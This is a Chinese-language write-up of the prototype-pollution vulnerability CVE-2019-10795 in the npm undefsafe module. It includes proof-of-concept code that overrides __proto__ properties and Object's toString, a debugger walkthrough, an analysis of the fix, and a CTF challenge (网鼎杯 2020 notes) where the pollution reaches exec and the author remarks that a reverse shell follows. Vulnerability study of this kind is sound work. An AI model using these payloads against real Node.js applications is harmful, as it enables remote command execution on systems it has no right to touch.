Undefsafe模块原型链污染(CVE-2019-10795)

undefsafe模块简介

https://www.npmjs.com/package/undefsafe

在低版本( < 2.0.3 )存在原型链污染漏洞

npm安装存在漏洞的低版本

1
npm install --save undefsafe@2.0.0

解决报错

1
2
3
4
5
6
7
8
9
10
11
12
var object = {
a: {
b: {
c: 1,
d: [1,2,3],
e: 'test'
}
}
};

console.log(object.a.b.e);//test
console.log(object.a.c.e);//Uncaught TypeError TypeError: Cannot read properties of undefined (reading 'e')

当我们访问一个对象不存在的属性时,会报错然后退出程序,undefsafe帮我们解决了这个问题

1
2
3
4
5
6
7
8
9
10
11
12
13
var undefsafe = require("undefsafe");

var object = {
a: {
b: {
c: 1,
d: [1,2,3],
e: 'test'
}
}
};

console.log(undefsafe(object,"a.c.e"));//undefined

赋值操作

为一个不存在的属性赋值时,会在其上层赋值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var undefsafe = require("undefsafe");


var object = {
a: {
b: {
c: 1,
d: [1,2,3],
e: 'test'
}
}
};

undefsafe(object,'a.c.name','xianbei');
console.log(object);

image.png

漏洞分析

当我们进行赋值操作,控制了第二个和第三个参数,便可以对对象的属性进行污染

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var undefsafe = require("undefsafe");


var object = {
a: {
b: {
c: 1,
d: [1,2,3],
e: 'test'
}
}
};

undefsafe(object,'__proto__.name','xianbei');
console.log(object.name);//xianbei

但这还不够,通过这里的污染可以进一步攻击

污染Object的toString方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var undefsafe = require("undefsafe");


var object = {
a: {
b: {
c: 1,
d: [1,2,3],
e: 'test'
}
}
};

console.log(" "+object);// to String hacked
undefsafe(object,'__proto__.toString',function(){return "to String hacked"});
//undefsafe(object,'prototype.prototype.toString',function(){return "to String hacked"});
console.log(" "+object);// to String hacked

JavaScript中,其实对象中的方法也就是一个属性,所以这里undefsafe在object中没有toString方法,他就会往object.__proto__,也就是Object中查找,然后污染了Object对象中本来的toString函数。

污染前:

image.png

污染后:

image.png

调试分析

接下来下断点调试,还是使用上面的demo调试

一开始初始化了一些变量

用filter遍历数组parts,这里判断为false,赋值给star

image.png

判断type,45行得知type就是传入的对象类型,而这里两个判断都不满足

image.png

对part进行遍历

image.png

中间的判断,key不为*所以跳过

这里key为__proto__,obj为object对象,就获取到了object.__proto__

image.png

第二次就是object.__proto__.toString,也就是Object对象的toString方法。

然后就是赋值操作,这里对Object对象的属性进行了赋值,污染了原型属性

image.png

修复分析

image.png

getOwnPropertyNames判断对象自己所有的属性

Object.getOwnPropertyNames() 方法返回一个由指定对象的所有自身属性的属性名(包括不可枚举属性但不包括Symbol值作为名称的属性)组成的数组。

返回到上面一张图:

image.png

此时key为__proto__,obj为object对象

1
2
var i = Object.getOwnPropertyNames(object).indexOf('__proto__');
console.log(i);//-1

更新之后会返回undefined

[网鼎杯 2020 青龙组]notes

image.png

构造函数Note中的方法edit_note,存在原型链污染漏洞,通过控制第二个和第三个参数我们似乎可以进行原型链污染

找到edit_note路由,发现参数是可以控制的。

image.png

下面就要找利用点,这里通过for in,来遍历commands里的命令然后作为exec的参数执行并返回结果

image.png

可以看到,我们通过遍历输出了恶意命令输入

image.png

for…in 循环只遍历可枚举属性(包括它的原型链上的可枚举属性)。像 Array和 Object使用内置构造函数所创建的对象都会继承自Object.prototype和String.prototype的不可枚举属性,例如 String 的 indexOf() 方法或 Object的toString()方法。循环将遍历对象本身的所有可枚举属性,以及对象从其构造函数原型中继承的属性(更接近原型链中对象的属性覆盖原型属性)。

image.png

同样数组也适用

image.png

所以说得多调试,多调试,多调试

至此问题迎刃而解,直接反弹shell就行